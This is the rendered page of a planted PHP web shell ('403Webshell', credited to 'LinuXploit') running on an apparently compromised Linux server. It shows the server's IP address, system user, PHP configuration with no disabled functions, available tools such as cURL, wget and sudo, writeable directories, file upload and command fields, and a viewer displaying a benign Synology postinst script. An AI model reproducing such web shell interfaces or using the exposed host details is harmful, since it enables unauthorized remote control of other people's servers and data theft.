403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/SynologyApplicationService/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/SynologyApplicationService/scripts/postinst
#!/bin/sh

. /var/packages/SynologyApplicationService/scripts/utils
. /var/packages/SynologyApplicationService/scripts/db_functions

SetupFn()
{
	cp $DEFAULT_SETTINGS_PATH $SETTINGS_PATH

	SynoSetVolume
	if [ ! -d "$(SynoSettingsGet volume)" ]; then
		return 1
	fi

	return 0
}

if ! SetupFn ; then
	exit 1
fi

if ! IsSASServiceRunningNode; then
	exit 0
fi

if [ ! -z $1 ]; then
	if [[ $1 == "--BackupSCIMDB" ]]; then
		BackupSCIMDB $2
		exit 0
	fi
	if [[ $1 == "--RestoreSCIMDB" ]]; then
		RestoreSCIMDB $2
		exit 0
	fi
	if [[ $1 == "--DropSCIMDB" ]]; then
		DropSCIMSchema
		exit 0
	fi
fi

if ! MigrateSettings || ! CreateSchema || ! UpdateSchema; then
	exit 1
fi

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit